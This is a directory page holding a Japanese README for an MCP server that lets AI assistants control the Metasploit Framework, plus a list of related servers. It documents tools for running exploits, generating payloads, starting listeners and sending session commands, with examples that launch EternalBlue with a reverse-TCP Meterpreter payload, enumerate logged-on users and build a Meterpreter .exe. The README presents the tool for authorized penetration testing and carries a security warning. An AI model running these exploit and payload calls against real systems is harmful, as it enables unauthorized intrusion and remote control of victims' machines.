Metasploit MCP Server
Metasploit MCP サーバー
Metasploit Framework 統合用のモデル コンテキスト プロトコル (MCP) サーバー。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
説明
このMCPサーバーは、Claudeのような大規模言語モデルとMetasploit Framework侵入テストプラットフォーム間の橋渡しを提供します。AIアシスタントが標準化されたツールを通じてMetasploitの機能に動的にアクセスし、制御することを可能にし、複雑なセキュリティテストワークフローへの自然言語インターフェースを実現します。
Related MCP server: MSFConsole MCP Server
特徴
モジュール情報
list_exploits : 利用可能なMetasploitエクスプロイトモジュールを検索して一覧表示する
list_payloads : オプションのプラットフォームとアーキテクチャのフィルタリングを使用して、利用可能な Metasploit ペイロード モジュールを検索して一覧表示します。
エクスプロイトワークフロー
run_exploit : 最初にチェックを実行するオプションを使用して、ターゲットに対してエクスプロイトを設定して実行する
run_auxiliary_module : カスタムオプションで任意のMetasploit補助モジュールを実行する
run_post_module : 既存のセッションに対してポストエクスプロイトモジュールを実行する
ペイロード生成
generate_payload : Metasploit RPC を使用してペイロード ファイルを生成する (ファイルをローカルに保存する)
セッション管理
list_active_sessions : 現在のMetasploitセッションを詳細情報とともに表示する
send_session_command : アクティブなシェルまたはMeterpreterセッションでコマンドを実行する
terminate_session : アクティブなセッションを強制的に終了する
ハンドラー管理
list_listeners : すべてのアクティブなハンドラーとバックグラウンドジョブを表示します
start_listener : 接続を受信するための新しいマルチ/ハンドラを作成する
stop_job : 実行中のジョブまたはハンドラーを終了する
前提条件
Metasploit Frameworkがインストールされ、msfrpcdが実行中
Python 3.10以上
必要な Python パッケージ (requirements.txt を参照)
インストール
このリポジトリをクローンする
依存関係をインストールします:
pip install -r requirements.txt環境変数を設定します(オプション):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
使用法
Metasploit RPC サービスを開始します。
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553交通手段
サーバーは 2 つの転送方法をサポートしています。
HTTP/SSE (サーバー送信イベント) : ほとんどの MCP クライアントとの相互運用性を実現するデフォルト モード
STDIO (標準入出力) : Claude Desktop や同様の直接パイプ接続で使用される
--transportフラグを使用して、トランスポート モードを明示的に選択できます。
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdioHTTP モードの追加オプション:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085クロードデスクトップ統合
Claude Desktop 統合の場合は、 claude_desktop_config.jsonを構成します。
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}その他のMCPクライアント
HTTP/SSE を使用するその他の MCP クライアントの場合:
HTTP モードでサーバーを起動します。
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085MCP クライアントを次の接続先に設定します:
SSEエンドポイント:
http://your-server-ip:8085/sse
セキュリティに関する考慮事項
⚠️重要なセキュリティ警告:
このツールは、強力なエクスプロイト機能を含むMetasploit Frameworkの機能に直接アクセスできるようにします。セキュリティテストを実行するための明示的な権限が付与された環境でのみ、責任を持ってご使用ください。
実行前に必ずすべてのコマンドを検証して確認してください
隔離されたテスト環境または適切な承認を得てのみ実行してください
エクスプロイト後のコマンドは、システムに重大な変更をもたらす可能性があることに注意してください。
ワークフローの例
基本的な搾取
利用可能なエクスプロイトの一覧:
list_exploits("ms17_010")エクスプロイトを選択して実行します:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})セッションの一覧表示:
list_active_sessions()コマンドを実行:
send_session_command(1, "whoami")
搾取後
投稿モジュールを実行します:
run_post_module("windows/gather/enum_logged_on_users", 1)カスタムコマンドを送信します:
send_session_command(1, "sysinfo")完了したら終了する:
terminate_session(1)
ハンドラー管理
リスナーを開始します:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)アクティブなハンドラーを一覧表示する:
list_listeners()ペイロードを生成します:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})ハンドラを停止する:
stop_job(1)
設定オプション
ペイロード保存ディレクトリ
デフォルトでは、 generate_payloadで生成されたペイロードは、ホームフォルダ内のpayloadsディレクトリ( ~/payloadsまたはC:\Users\YourUsername\payloads )に保存されます。この保存場所は、 PAYLOAD_SAVE_DIR環境変数を設定することでカスタマイズできます。
環境変数の設定:
Windows (PowerShell) :
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"Windows (コマンドプロンプト) :
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloadsLinux/macOS :
export PAYLOAD_SAVE_DIR=/custom/path/to/payloadsClaude Desktop の設定:
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
**注:**カスタムパスを指定する場合は、そのパスが存在するか、アプリケーションに作成権限があることを確認してください。パスが無効な場合、ペイロードの生成に失敗する可能性があります。
ライセンス
アパッチ 2.0
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.14Apache 2.0
- -licenseNot gradedqualityNot gradedmaintenanceEnables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.2
- AlicenseNot gradedqualityDmaintenanceBridges large language models with the Metasploit Framework to enable natural language control over penetration testing workflows. It provides tools for searching modules, executing exploits, generating payloads, and managing active sessions.1Apache 2.0
- FlicenseNot gradedqualityDmaintenanceProvides AI assistants with secure access to Metasploit Framework functionality through a standardized interface, enabling commands, exploit search, module info, and scanning.2
Related MCP Connectors
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
MEOK MCP Hardening MCP — automated security red-team for any MCP server. Maps OWASP LLM Top 10
A comprehensive Model Context Protocol (MCP) server that enables AI assistants to interact with yo…
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'
If you have feedback or need assistance with the MCP directory API, please join our Discord server